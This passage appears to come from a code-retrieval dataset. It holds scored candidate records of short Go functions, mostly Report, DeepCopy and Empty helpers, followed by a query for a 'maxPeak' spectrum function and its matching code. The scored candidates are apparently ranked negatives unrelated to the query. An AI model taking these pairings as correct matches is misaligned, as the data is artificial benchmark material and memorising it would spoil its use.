bench.hr.Histogram(1)\n\tbench.b.Logf(\"%6v₅₀ %6v₉₀ %6v₉₉ N=%v\",\n\t\ttruncate(hist.P50, 3),\n\t\ttruncate(hist.P90, 3),\n\t\ttruncate(hist.P99, 3),\n\t\tbench.b.N,\n\t)\n}", "title": "" }, { "docid": "d4e0be20d5b5bc71929ba766e8179e6e", "score": "0.4609804", "text": "func (t *maint) Report() <-chan Report {\n\treturn t.report\n}", "title": "" }, { "docid": "b26d00efb1618a400fa4ac30f0eb254e", "score": "0.459093", "text": "func (o ReportsList) Copy() elemental.Identifiables {\n\n\tcopy := append(ReportsList{}, o...)\n\treturn &copy\n}", "title": "" }, { "docid": "3f107dfab347b55cea0365752662bf69", "score": "0.4588837", "text": "func (in *checknothingList) DeepCopy() *checknothingList {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(checknothingList)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "bdb3d9aaa58b36f6804c8360b12161ef", "score": "0.4583837", "text": "func (in *reportnothing) DeepCopyInto(out *reportnothing) {\n\t*out = *in\n\tout.TypeMeta = in.TypeMeta\n\tin.ObjectMeta.DeepCopyInto(&out.ObjectMeta)\n\tout.Spec = in.Spec\n}", "title": "" }, { "docid": "a01b53532801f535e894c8fd2632b005", "score": "0.45496583", "text": "func (i *ReportIter) Report() *Report {\n\treturn i.Current().(*Report)\n}", "title": "" }, { "docid": "cf3305ebf080f8470a5d1bc49a822018", "score": "0.45464957", "text": "func emptyKindStateReport() *KindStateReport {\n\treturn &KindStateReport{\n\t\tKinds: make(map[string]Kind),\n\t\tDimensions: map[string]Dimension{\n\t\t\t\"maturity\": {\n\t\t\t\t\"planned\": emptyDimensionValue(\"planned\"),\n\t\t\t\t\"merged\": emptyDimensionValue(\"merged\"),\n\t\t\t\t\"experimental\": emptyDimensionValue(\"experimental\"),\n\t\t\t\t\"stable\": emptyDimensionValue(\"stable\"),\n\t\t\t\t\"mature\": emptyDimensionValue(\"mature\"),\n\t\t\t},\n\t\t\t\"category\": {\n\t\t\t\t\"core\": emptyDimensionValue(\"core\"),\n\t\t\t\t\"composable\": emptyDimensionValue(\"composable\"),\n\t\t\t},\n\t\t},\n\t}\n}", "title": "" }, { "docid": "250b794c7119c9e3cb90d6cff2768ef3", "score": "0.4532676", "text": "func (c *Output) Report(dataid int32, data common.MapStr) error {\n\tif dataid <= 0 {\n\t\treturn fmt.Errorf(\"dataid %d <= 0\", dataid)\n\t}\n\tmetricGseReportReceived.Add(1)\n\terr := c.reportCommonData(dataid, data)\n\tif err != nil {\n\t\tmetricGseReportFailed.Add(1)\n\t\treturn err\n\t}\n\tmetricGseReportSendTotal.Add(1)\n\treturn nil\n}", "title": "" }, { "docid": "853f28df12f6457957167dc1a2328743", "score": "0.45229906", "text": "func (plan *Plan) PrintReport() {\n\tvar counts = make(map[string]int)\n\n\ttotal := len(plan.Tasks) * len(plan.Hosts)\n\tattempted := len(plan.report)\n\tskipped := total - attempted\n\n\tcounts[\"skipped\"] = skipped\n\tfor _, status := range plan.report {\n\t\t_, present := counts[status]\n\t\tif !present {\n\t\t\tcounts[status] = 1\n\t\t} else {\n\t\t\tcounts[status]++\n\t\t}\n\t}\n\tfmt.Println()\n\tfmt.Println(\"---\")\n\tfmt.Printf(\"Plan Report: %s\\n\", plan.Name)\n\tfmt.Println()\n\tfor k, v := range counts {\n\t\tfmt.Printf(\"%s (all hosts):\\t%d\\n\", k, v)\n\t}\n\tfmt.Println()\n\tfmt.Printf(\"Tasks total (all hosts):\\t%d\\n\",\n\t\tlen(plan.Tasks)*len(plan.Hosts))\n\tfmt.Printf(\"Tasks attempted (all hosts):\\t%d\\n\", len(plan.report))\n}", "title": "" }, { "docid": "db348c5526abdf49ecd2fa61fbd89883", "score": "0.4517277", "text": "func NewReport(exitName string) *Report {\n\treturn &Report{\n\t\tExitName: exitName,\n\t\terrors: make(map[string]error),\n\t\tmutex: &sync.RWMutex{},\n\t}\n}", "title": "" }, { "docid": "2731b33f53fce14dbeba9281054e99cd", "score": "0.44861963", "text": "func NewDefault(prof *profile.Profile, options Options) *Report", "title": "" }, { "docid": "db9546298f021ed2c79c002d3dff29c4", "score": "0.4482307", "text": "func (ss *SamplerScheduler) Report() {\n\tif !ss.started.IsSet() {\n\t\treturn\n\t}\n\n\tprofileTimespan := time.Now().Unix() - ss.profileStart\n\n\tss.profileLock.Lock()\n\tdefer ss.profileLock.Unlock()\n\n\tif !ss.config.ReportOnly && ss.samplingDuration == 0 {\n\t\treturn\n\t}\n\n\tlogger.Debug(ss.config.LogPrefix, \"recording profile\")\n\n\tprofile, err := ss.sampler.Profile(ss.samplingDuration, profileTimespan)\n\tif err != nil {\n\t\tlogger.Error(err)\n\t\treturn\n\t}\n\n\tif len(profile.Roots) == 0 {\n\t\tlogger.Debug(ss.config.LogPrefix, \"not recording empty profile\")\n\t\tss.Reset()\n\t\treturn\n\t}\n\n\tss.profileRecorder.Record(NewAgentProfile(profile))\n\tlogger.Debug(ss.config.LogPrefix, \"recorded profile\")\n\n\tss.Reset()\n}", "title": "" }, { "docid": "fbdf1cd4cf0e0480633c892f84e38b5f", "score": "0.4481227", "text": "func oncePrepareHTMLFullReport(\n\ts *db.Statistics, reportTime time.Time, wafName string,\n\turl string, openApiFile string, args []string, ignoreUnresolved bool, includePayloads bool,\n) (*report.HtmlReport, error) {\n\tvar err error\n\n\tprepareHTMLReportOnce.Do(func() {\n\t\thtmlReportData, err = prepareHTMLFullReport(\n\t\t\ts, reportTime, wafName, url, openApiFile,\n\t\t\targs, ignoreUnresolved, includePayloads,\n\t\t)\n\t})\n\n\treturn htmlReportData, err\n}", "title": "" }, { "docid": "ed5a415d1f55b963933155196ef77db7", "score": "0.44782257", "text": "func (o *SparseReport) ToPlain() elemental.PlainIdentifiable {\n\n\tout := NewReport()\n\tif o.Fields != nil {\n\t\tout.Fields = *o.Fields\n\t}\n\tif o.Kind != nil {\n\t\tout.Kind = *o.Kind\n\t}\n\tif o.Tags != nil {\n\t\tout.Tags = *o.Tags\n\t}\n\tif o.Timestamp != nil {\n\t\tout.Timestamp = *o.Timestamp\n\t}\n\tif o.Value != nil {\n\t\tout.Value = *o.Value\n\t}\n\n\treturn out\n}", "title": "" }, { "docid": "aa8cef1c8119a67d89bc2d1b02c06982", "score": "0.44513902", "text": "func (s *StaticLocator) Report(node string, metrics *SupernodeMetrics) {\n\t// unnecessary to implement this method\n\treturn\n}", "title": "" }, { "docid": "76621e7c84a28be60c40c57460cf211d", "score": "0.4449427", "text": "func (cf *CFBypass) Report() map[string]interface{} {\n\treturn map[string]interface{}{\n\t\t\"real_ip\": cf.RealIP}\n}", "title": "" }, { "docid": "49b46327fc3623ba6bd43341260c374a", "score": "0.4443878", "text": "func (_IInitialReporter *IInitialReporterTransactor) Report(opts *bind.TransactOpts, _reporter common.Address, _payoutDistributionHash [32]byte, _payoutNumerators []*big.Int, _invalid bool, _initialReportStake *big.Int) (*types.Transaction, error) {\n\treturn _IInitialReporter.contract.Transact(opts, \"report\", _reporter, _payoutDistributionHash, _payoutNumerators, _invalid, _initialReportStake)\n}", "title": "" }, { "docid": "49b46327fc3623ba6bd43341260c374a", "score": "0.4443878", "text": "func (_IInitialReporter *IInitialReporterTransactor) Report(opts *bind.TransactOpts, _reporter common.Address, _payoutDistributionHash [32]byte, _payoutNumerators []*big.Int, _invalid bool, _initialReportStake *big.Int) (*types.Transaction, error) {\n\treturn _IInitialReporter.contract.Transact(opts, \"report\", _reporter, _payoutDistributionHash, _payoutNumerators, _invalid, _initialReportStake)\n}", "title": "" }, { "docid": "ee051aead4f6178ea6d2ba78d6f63308", "score": "0.44400117", "text": "func (a *MembershipService) Report() {\n\tlog.Println(\"----------------------------------MEMBERSHIP REPORT-------------------------------------\")\n\tmslog(fmt.Sprintln(\"Members: \", printMembershiplist()))\n}", "title": "" }, { "docid": "77a296206adede9befe7d61dab8eee7d", "score": "0.44361225", "text": "func (scanner *Scanner) Report(reporter Reporter) error {\n\tlogger := scanner.logger.WithField(\"method\", \"Report\")\n\tlogger.Info(\"start writing report\")\n\n\tfor _, strings := range scanner.potentialDuplicates {\n\t\treporter.Report(strings)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "783eda876a3c20eee057490bfadd1a39", "score": "0.44271696", "text": "func (r *GithubRenderer) Report(file string, report *check.Report) {\n\tif report.Notices.Total() != 0 {\n\t\tr.renderActionAlerts(\"notice\", file, report.Notices)\n\t}\n\n\tif report.Warnings.Total() != 0 {\n\t\tr.renderActionAlerts(\"warning\", file, report.Warnings)\n\t}\n\n\tif report.Errors.Total() != 0 {\n\t\tr.renderActionAlerts(\"error\", file, report.Errors)\n\t}\n\n\tif report.Criticals.Total() != 0 {\n\t\tr.renderActionAlerts(\"error\", file, report.Criticals)\n\t}\n}", "title": "" }, { "docid": "27a5143ab4116e8e7e6a70d28861b6f1", "score": "0.442299", "text": "func (r *Reporter) Report(pj *prowapi.ProwJob) error {\n\t// TODO(mszostok): in future can be replaced with renderer functionality,\n\t// similar to this one: https://github.com/kyma-project/kyma/blob/release-0.6/tools/stability-checker/internal/notifier/renderer.go\n\tvar (\n\t\theader = r.generateHeader(pj)\n\t\tbody = r.generateBody(pj)\n\t\tfooter = r.generateFooter(pj)\n\t)\n\n\t_, _, _, err := r.slackCli.SendMessage(\n\t\tr.channel,\n\n\t\tapiSlack.MsgOptionUsername(r.username),\n\t\tapiSlack.MsgOptionPostMessageParameters(apiSlack.PostMessageParameters{IconEmoji: r.icon, Markdown: true}),\n\n\t\tapiSlack.MsgOptionText(header, false),\n\t\tapiSlack.MsgOptionAttachments(body, footer),\n\t)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"while sending slack message\")\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "39793c2aa49ae6070cba23087e4fa61b", "score": "0.44130468", "text": "func (a *PlaidApiService) SignalReturnReport(ctx _context.Context) ApiSignalReturnReportRequest {\n\treturn ApiSignalReturnReportRequest{\n\t\tApiService: a,\n\t\tctx: ctx,\n\t}\n}", "title": "" }, { "docid": "c0e048fdafbf8be9e7bf66c41858376d", "score": "0.44044343", "text": "func Report(w io.Writer, next Pool) Pool {\n\tvar enc encoder = nopEncoder{}\n\tif w != nil {\n\t\tenc = json.NewEncoder(w)\n\t}\n\treturn &report{\n\t\tenc: enc,\n\t\tnext: next,\n\t}\n}", "title": "" }, { "docid": "89f305c3c056cb25ffd9321e2c063850", "score": "0.43947327", "text": "func (ut *reportPayload) Publicize() *ReportPayload {\n\tvar pub ReportPayload\n\tif ut.CheckID != nil {\n\t\tpub.CheckID = ut.CheckID\n\t}\n\tif ut.Report != nil {\n\t\tpub.Report = ut.Report\n\t}\n\tif ut.ScanID != nil {\n\t\tpub.ScanID = ut.ScanID\n\t}\n\tif ut.ScanStartTime != nil {\n\t\tpub.ScanStartTime = ut.ScanStartTime\n\t}\n\treturn &pub\n}", "title": "" }, { "docid": "6d2862aa3174cd61f141df9dd79e75c4", "score": "0.4383903", "text": "func (control *BahamaControl) Report() {\n\tfmt.Println(\"Samples per second: \", control.samplerate)\n\tfmt.Printf(\"Drop packets randomly: %.2f%%\\n\", 100.0*control.dropfrac)\n\tif control.udp {\n\t\tfmt.Println(\"Generating UDP packets on port \", control.port)\n\t\tfmt.Println(\"Number of UDP sources: \", control.Nsources)\n\t\tfmt.Println(\"Channels per UDP source: \", control.Nchan)\n\t\tfmt.Println(\"Channel groups per UDP: \", control.Ngroups)\n\t} else {\n\t\tfmt.Println(\"Putting packets into ring buffers.\")\n\t\tfmt.Println(\"Number of ring buffers: \", control.Nsources)\n\t\tfmt.Println(\"Size of each ring: \", control.ringsize)\n\t\tfmt.Println(\"Channels per ring: \", control.Nchan)\n\t\tfmt.Println(\"Channel groups per ring: \", control.Ngroups)\n\t}\n\tfmt.Println(\"Channel # of 1st chan: \", control.Chan0)\n\tif control.Ngroups > 1 || control.Nsources > 1 {\n\t\tfmt.Println(\"Skip # btwn groups/sources: \", control.chanGaps)\n\t}\n\tif control.Ngroups > 1 {\n\t\tif control.stagger {\n\t\t\tcontrol.interleave = true\n\t\t}\n\t} else {\n\t\tif control.stagger || control.interleave {\n\t\t\tfmt.Println(\"Warning: -stagger and -interleave arguments are ignored with only 1 channel group\")\n\t\t}\n\t\tcontrol.stagger = false\n\t\tcontrol.interleave = false\n\t}\n\tif control.stagger {\n\t\tfmt.Println(\" Packets from channel groups are staggered so each group is sometimes ahead of the others\")\n\t} else if control.interleave {\n\t\tfmt.Println(\" Packets from channel groups are interleaved regularly\")\n\t}\n\n\tif !(control.noiselevel > 0.0 || control.sawtooth || control.pulses || control.sinusoid) {\n\t\tcontrol.sawtooth = true\n\t}\n\tvar sources []string\n\tif control.noiselevel > 0.0 {\n\t\tsources = append(sources, \"noise\")\n\t}\n\tif control.sawtooth {\n\t\tsources = append(sources, \"sawtooth\")\n\t}\n\tif control.pulses {\n\t\tif control.crosstalk {\n\t\t\tsources = append(sources, \"pulses with crosstalk\")\n\t\t} else {\n\t\t\tsources = append(sources, \"pulses\")\n\t\t}\n\t}\n\tif control.sinusoid {\n\t\tsources = append(sources, \"sinusoids\")\n\t}\n\tfmt.Printf(\"Data will be the sum of these source types: %s.\\n\", strings.Join(sources, \"+\"))\n\tfmt.Println(\"Type Ctrl-C to stop generating Abaco-style data.\")\n}", "title": "" }, { "docid": "bb35b85882a856f21703658b79d5f557", "score": "0.43831894", "text": "func (r *Reporter) Report() string {\n\tmreport := &Report{\n\t\tMsgTotal: r.analyser.TotalCount(),\n\t\tMsgReq: r.analyser.Count(\"REQ\"),\n\t\tMsgAck: r.analyser.Count(\"ACK\"),\n\t\tMsgNak: r.analyser.Count(\"NAK\"),\n\t\tRequestRate1s: r.analyser.RequestRate(1),\n\t\tRequestRate10s: r.analyser.RequestRate(10),\n\t\tResponseRate1s: r.analyser.ResponseRate(1),\n\t\tResponseRate10s: r.analyser.ResponseRate(10),\n\t}\n\n\tb, err := json.Marshal(*mreport)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t}\n\treturn string(b)\n}", "title": "" }, { "docid": "ce3e0ee9d34402d7c49846e587fe9179", "score": "0.4371407", "text": "func (in *servicecontrolreport) DeepCopy() *servicecontrolreport {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(servicecontrolreport)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "3fefb6a7fcfdc3f38ea414b6c891e577", "score": "0.43597043", "text": "func (m *Monitor) Report() report.Report {\n\treturn m.summary.report()\n}", "title": "" }, { "docid": "a955b3d0fc9a6087cbb54c9232b89d35", "score": "0.43453947", "text": "func Report(line int, where string, message string) {\n\tHadError = true\n\tfmt.Printf(\"[line=%d] Error %s: %s\\n\", line, where, message)\n}", "title": "" }, { "docid": "ea7eec0968b5131f16e524d785ab66f0", "score": "0.43345815", "text": "func (_IInitialReporter *IInitialReporterSession) Report(_reporter common.Address, _payoutDistributionHash [32]byte, _payoutNumerators []*big.Int, _invalid bool, _initialReportStake *big.Int) (*types.Transaction, error) {\n\treturn _IInitialReporter.Contract.Report(&_IInitialReporter.TransactOpts, _reporter, _payoutDistributionHash, _payoutNumerators, _invalid, _initialReportStake)\n}", "title": "" }, { "docid": "ea7eec0968b5131f16e524d785ab66f0", "score": "0.43345815", "text": "func (_IInitialReporter *IInitialReporterSession) Report(_reporter common.Address, _payoutDistributionHash [32]byte, _payoutNumerators []*big.Int, _invalid bool, _initialReportStake *big.Int) (*types.Transaction, error) {\n\treturn _IInitialReporter.Contract.Report(&_IInitialReporter.TransactOpts, _reporter, _payoutDistributionHash, _payoutNumerators, _invalid, _initialReportStake)\n}", "title": "" }, { "docid": "f870c4b83c92be14d8ddc8ac8d866d48", "score": "0.43344352", "text": "func ReportNotFound(contentType string) ([]byte, error) {\n\tdocRoot := respond.ResponseMessage{\n\t\tStatus: respond.StatusResponse{\n\t\t\tMessage: \"Report Not Found\",\n\t\t\tCode: \"404\",\n\t\t},\n\t}\n\toutput, err := respond.MarshalContent(docRoot, contentType, \"\", \" \")\n\treturn output, err\n}", "title": "" }, { "docid": "356458346bf65e0862b3ce095d78ab00", "score": "0.43099427", "text": "func (info *nginxInfos) Report() map[string]string {\n\treturn map[string]string{\n\t\t\"Shared listener port\": strconv.Itoa(info.port),\n\t}\n}", "title": "" }, { "docid": "d52a128b453502fd82b7620803d706b1", "score": "0.43078315", "text": "func (driver *Driver) Report(service, instance string, msg *xbospb.XBOSIoTDeviceState) error {\n\treturn driver.report(service, instance, 0, msg)\n}", "title": "" }, { "docid": "e770079671444560f8d4627058185da7", "score": "0.43073097", "text": "func (diff *VariableDiff) Empty() bool {\n\treturn diff == nil || *diff == VariableDiff{}\n}", "title": "" }, { "docid": "ac839f8dd589e6c87c38c4f48456d63b", "score": "0.42905283", "text": "func GetAllReport() string {\n\treturn \"\" //here need add return current log file example return 1000 lines of log file //TODO:: later\n}", "title": "" }, { "docid": "3b10c1dd4578fa9e7e693643c30bde1e", "score": "0.42795515", "text": "func NewSlackReport(cfg *cmd.SlackConfig) *SlackReport {\n\treturn &SlackReport{\n\t\tslack.New(cfg.Token),\n\t\tcfg.ChannelID,\n\t}\n}", "title": "" }, { "docid": "da2499292c365a2ed8e7a1d84bcbd9f0", "score": "0.42786613", "text": "func EmptyCell() *Cell {\n\tc := Cell{}\n\treturn &c\n}", "title": "" }, { "docid": "457b9fd085d908b1599e075a7b2ccd9c", "score": "0.42748514", "text": "func NewEmptySignal() Signal {\n\treturn &signal{func(subscriber Subscriber) {\n\t\tsubscriber.OnCompleted()\n\t}}\n}", "title": "" }, { "docid": "7907911377a197fa903dd78cf3fa1e74", "score": "0.42743888", "text": "func (o *Bins) Clear() {\n\to.All = make([]*Bin, 0)\n}", "title": "" }, { "docid": "c44b0e18b78ab6a1ff4a0c12a8eb5879", "score": "0.4272353", "text": "func Empty() *Table {\n\treturn emptyTable\n}", "title": "" }, { "docid": "9f68d828986c26d39c63eee3ea0d91ae", "score": "0.42695117", "text": "func NewEmpty() Empty {\n\treturn Empty{}\n}", "title": "" }, { "docid": "17929ea3274299428d96cf2168b7447a", "score": "0.42685673", "text": "func (o *Report) DeepCopyInto(out *Report) {\n\n\ttarget, err := copystructure.Copy(o)\n\tif err != nil {\n\t\tpanic(fmt.Sprintf(\"Unable to deepcopy Report: %s\", err))\n\t}\n\n\t*out = *target.(*Report)\n}", "title": "" }, { "docid": "df732eb241ee8fb89274b7282580268a", "score": "0.42679936", "text": "func (p *Pool) Report(shouldReset bool) Report {\n\tallEntries := make([]hotlist.Entry, 0, p.reportSize*len(p.workers))\n\tfor _, w := range p.workers {\n\t\tworkerEntries := w.top(p.reportSize)\n\t\tif shouldReset {\n\t\t\tw.reset()\n\t\t}\n\t\tallEntries = append(allEntries, workerEntries...)\n\t}\n\n\treportSize := len(allEntries)\n\tif reportSize > p.reportSize {\n\t\treportSize = p.reportSize\n\t}\n\n\tret := Report{\n\t\tTimestamp: time.Now(),\n\t\tKeys: make([]KeyReport, 0, reportSize),\n\t}\n\n\tfor _, e := range allEntries {\n\t\tret.Keys = append(ret.Keys, keyReport(e))\n\t}\n\n\tsort.Sort(ret)\n\n\treturn ret\n}", "title": "" }, { "docid": "f042634df362987f1f2258825c573063", "score": "0.425757", "text": "func (in *checknothing) DeepCopyObject() runtime.Object {\n\tif c := in.DeepCopy(); c != nil {\n\t\treturn c\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "20920d4974929379916441b08d7bcf03", "score": "0.4254475", "text": "func (h *handlerState) Report(ctx context.Context, requestBag *attribute.MutableBag, responseBag *attribute.MutableBag,\n\trequest *mixerpb.ReportRequest, response *mixerpb.ReportResponse) {\n\tif glog.V(2) {\n\t\tglog.Infof(\"Report [%x]\", request.RequestIndex)\n\t}\n\n\to := h.execute(ctx, requestBag, responseBag, aspect.ReportMethod, &aspect.ReportMethodArgs{})\n\tresponse.RequestIndex = request.RequestIndex\n\tresponse.Result = o.Status\n\n\tif glog.V(2) {\n\t\tglog.Infof(\"Report [%x] <-- %s\", request.RequestIndex, response)\n\t}\n}", "title": "" }, { "docid": "53f2bcb749a20fe7b97d35446ece12d0", "score": "0.42534003", "text": "func (o *ReportOK) WithPayload(payload interface{}) *ReportOK {\n\to.Payload = payload\n\treturn o\n}", "title": "" }, { "docid": "6aabb51e271d8b38b7b3f8055c4c1fcd", "score": "0.42509514", "text": "func (in *reportnothingList) DeepCopyInto(out *reportnothingList) {\n\t*out = *in\n\tout.TypeMeta = in.TypeMeta\n\tout.ListMeta = in.ListMeta\n\tif in.Items != nil {\n\t\tin, out := &in.Items, &out.Items\n\t\t*out = make([]reportnothing, len(*in))\n\t\tfor i := range *in {\n\t\t\t(*in)[i].DeepCopyInto(&(*out)[i])\n\t\t}\n\t}\n}", "title": "" }, { "docid": "7cd8d86f2d3ce8154b34dbb98655bff8", "score": "0.4246694", "text": "func BuildReportForUnstructured(passed, aggregated bool, obj *KubeUnstructuredResource) *Report {\n\tgvk := obj.GroupVersionKind()\n\treturn &Report{\n\t\tPassed: passed,\n\t\tAggregated: aggregated,\n\t\tData: event.Data{\n\t\t\tKubeResourceFieldKind: gvk.Kind,\n\t\t\tKubeResourceFieldGroup: gvk.Group,\n\t\t\tKubeResourceFieldVersion: gvk.Version,\n\t\t\tKubeResourceFieldName: obj.GetName(),\n\t\t\tKubeResourceFieldNamespace: obj.GetNamespace(),\n\t\t},\n\t\tResource: ReportResource{\n\t\t\tID: obj.ID(),\n\t\t\tType: obj.Type(),\n\t\t},\n\t}\n}", "title": "" }, { "docid": "d264b01c86a9b56ec0ac259cb9ee479e", "score": "0.42454836", "text": "func (in *KubeResourceReport) DeepCopy() *KubeResourceReport {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(KubeResourceReport)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "4e4f659854c1d630a134d2e64fd0fa06", "score": "0.42394716", "text": "func (mr *MockTxNoticeTracerMockRecorder) Report(reportType, txIDs, peerCnt interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Report\", reflect.TypeOf((*MockTxNoticeTracer)(nil).Report), reportType, txIDs, peerCnt)\n}", "title": "" }, { "docid": "395e316a2c30271aa0629da588adbee7", "score": "0.42344487", "text": "func (mpbr *MockReporter) Report(behaviour PeerBehaviour) error {\n\tmpbr.mtx.Lock()\n\tdefer mpbr.mtx.Unlock()\n\tmpbr.pb[behaviour.peerID] = append(mpbr.pb[behaviour.peerID], behaviour)\n\n\treturn nil\n}", "title": "" }, { "docid": "623127275fc3b9b9f31689755eaab307", "score": "0.42341924", "text": "func Empty() GoPath {\n\treturn empty\n}", "title": "" }, { "docid": "208d099ad1c4e910a1a13df68bd9bc49", "score": "0.42336604", "text": "func (_IInitialReporter *IInitialReporterTransactorSession) Report(_reporter common.Address, _payoutDistributionHash [32]byte, _payoutNumerators []*big.Int, _invalid bool, _initialReportStake *big.Int) (*types.Transaction, error) {\n\treturn _IInitialReporter.Contract.Report(&_IInitialReporter.TransactOpts, _reporter, _payoutDistributionHash, _payoutNumerators, _invalid, _initialReportStake)\n}", "title": "" }, { "docid": "208d099ad1c4e910a1a13df68bd9bc49", "score": "0.42336604", "text": "func (_IInitialReporter *IInitialReporterTransactorSession) Report(_reporter common.Address, _payoutDistributionHash [32]byte, _payoutNumerators []*big.Int, _invalid bool, _initialReportStake *big.Int) (*types.Transaction, error) {\n\treturn _IInitialReporter.Contract.Report(&_IInitialReporter.TransactOpts, _reporter, _payoutDistributionHash, _payoutNumerators, _invalid, _initialReportStake)\n}", "title": "" }, { "docid": "4aba0e506cfc3e4c0b099b16d7e16d12", "score": "0.42333993", "text": "func (t *maint) StopReport() {\n\tatomic.StoreInt32(&t.emitReport, 0)\n}", "title": "" }, { "docid": "69247d416e3d4c08d94563066face511", "score": "0.42317307", "text": "func (lcd *LcdASCII) Blank() {\n\tif lcd.dr == false {\n\t\tfmt.Print(\"\\x1B[0;0H\")\n\t}\n\tlcd.lineIndex = 0\n}", "title": "" }, { "docid": "90aba698bfb3ea9f07d1a1c087befab2", "score": "0.42313802", "text": "func (it *Item) Report(template string, max int) string {\n\tpadding := strings.Repeat(\" \", max-len(it.String()))\n\treturn fmt.Sprintf(template, it.String(), padding, it.Path())\n}", "title": "" }, { "docid": "75bd4dcb6a3ec76edf7f1c7187775f11", "score": "0.42312047", "text": "func ReportNewBlock(blk *types.Block) {\n\tPublish(NewBlock{\n\t\tID: blk.ID().String(),\n\t\tAtx: blk.ATXID.ShortString(),\n\t\tLayer: blk.LayerIndex.Uint32(),\n\t})\n}", "title": "" }, { "docid": "3b7647f1191d4226bd15a59d821db5cc", "score": "0.4230903", "text": "func ReportNewTx(tx *types.Transaction) {\n\tPublish(NewTx{\n\t\tID: tx.ID().String(),\n\t\tOrigin: tx.Origin().String(),\n\t\tDestination: tx.Recipient.String(),\n\t\tAmount: tx.Amount,\n\t\tFee: tx.Fee,\n\t})\n\tReportTxWithValidity(tx, true)\n}", "title": "" }, { "docid": "c80aa7843998c90f385e9b1bdd169240", "score": "0.41994748", "text": "func (this *PatientController) Preport() {\n\tsession := this.StartSession()\n\tuserID := session.Get(\"UserID\")\n\tif userID == nil {\n\t\tthis.Redirect(\"/\", 302)\n\t\treturn\n\t}\n\tmyHd1 := userID.(string)\n\tvar myHd string\n\t\tif this.Ctx.Input.Method() == \"GET\" {\n\t\t\tif len(Huduma) == 0{\n\t\t\t\tmyHd = myHd1\n\t\t\t}else{\n\t\t\t\tmyHd = Huduma\n\t\t\t}\n\t\to := orm.NewOrm()\n\t\to.Using(\"default\")\n\t\to.Raw(\"SELECT reg_date, temperature, weight, blood_pressure, diagnosis, prescription FROM patient_diagnosis WHERE huduma_no=? ORDER BY reg_date\", myHd).QueryRows(&Repo)\n\t\tfmt.Println(\"The user id is\", myHd)\n\t\tfmt.Println(\"This is my med history:=\", Repo)\n\t\tthis.preport(\"preport\")\n\t\t\t}\n}", "title": "" }, { "docid": "630d7bbcb032db83b56bb8fcbe6202b0", "score": "0.41974455", "text": "func (p *Plugin) Report(w http.ResponseWriter, r *http.Request) {\n\tp.lock.Lock()\n\tdefer p.lock.Unlock()\n\tlog.Println(r.URL.String())\n\trpt, err := p.makeReport()\n\tif err != nil {\n\t\tlog.Printf(\"error: %v\", err)\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\traw, err := json.Marshal(*rpt)\n\tif err != nil {\n\t\tlog.Printf(\"error: %v\", err)\n\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\treturn\n\t}\n\tw.WriteHeader(http.StatusOK)\n\tw.Write(raw)\n}", "title": "" }, { "docid": "18cc4e58a371c183c510f726b0e9a432", "score": "0.41943353", "text": "func (v *evalVistor) VisitBlank(ctx *BlankContext) interface{} {\n\treturn 0\n}", "title": "" }, { "docid": "ba5cd9d5842b41dc3b530304601e83e8", "score": "0.4188775", "text": "func NewBlankImage() *image.Paletted {\n\treturn image.NewPaletted(image.Rect(0, 0, dimension, dimension), palette.Plan9)\n}", "title": "" }, { "docid": "d3752457204d92c149fa2f8aad9737e0", "score": "0.41861454", "text": "func (c *Client) Report(ctx context.Context, name PhenotypeName, population Population) (Report, error) {\n\tspath := fmt.Sprintf(\"/reports/%s/\", name)\n\tquery := url.Values{\"population\": {string(population)}}\n\n\treq, err := c.newRequest(ctx, http.MethodGet, spath, query, nil)\n\tif err != nil {\n\t\treturn Report{}, errors.Wrapf(err, \"failed to create new request\")\n\t}\n\n\tc.Logger.Debug(\"Request\", zap.ByteString(\"request\", dumpRequest(req)))\n\tresp, err := c.HTTPClient.Do(req)\n\tif err != nil {\n\t\treturn Report{}, errors.Wrapf(err, \"failed to send http request: %s\", dumpRequest(req))\n\t}\n\tc.Logger.Debug(\"Response\", zap.ByteString(\"response\", dumpResponse(resp)))\n\n\tvar report Report\n\tif err := c.decodeResponse(resp, &report); err != nil {\n\t\treturn Report{}, errors.Wrapf(err, \"failed to parse response: %s\", dumpResponse(resp))\n\t}\n\treturn report, nil\n}", "title": "" }, { "docid": "ce7c7216f65c91dbfb870fadc9fe25c1", "score": "0.41839376", "text": "func (pr *ProgressReporter) Report(progress int64) error {\n\tif progress == pr.progress || time.Now().Before(pr.lastReportTime.Add(pr.ThrottleDuration)) {\n\t\treturn nil\n\t}\n\terr := pr.Put(progress)\n\tif err != nil {\n\t\treturn err\n\t}\n\tpr.progress = progress\n\tpr.lastReportTime = time.Now()\n\treturn nil\n}", "title": "" }, { "docid": "f4352d33ab70f61de7aa2b720b29a478", "score": "0.41810018", "text": "func NewGetTargetReportDefault(code int) *GetTargetReportDefault {\n\treturn &GetTargetReportDefault{\n\t\t_statusCode: code,\n\t}\n}", "title": "" }, { "docid": "cdc0bb780ed4cbb2a7098a4e08419c83", "score": "0.4178988", "text": "func (h *HealthReport) Add(report ComponentReport) {\n\tif h.Details == nil {\n\t\th.Details = make([]ComponentReport, 0, 3)\n\t}\n\th.Details = append(h.Details, report)\n}", "title": "" } ]
10456de084a2357ea361aba345284962
maxPeak returns the maximally intense peak within the supplied spectrum
[ { "docid": "c322a923f0e186b8e52d1b32f92301e8", "score": "0.8648077", "text": "func maxPeak(spectrum ms.Spectrum) (maxIn ms.Peak) {\n\tfor _, peak := range spectrum {\n\t\tif peak.I >= maxIn.I {\n\t\t\tmaxIn = peak\n\t\t}\n\t}\n\treturn\n}", "title": "" } ]
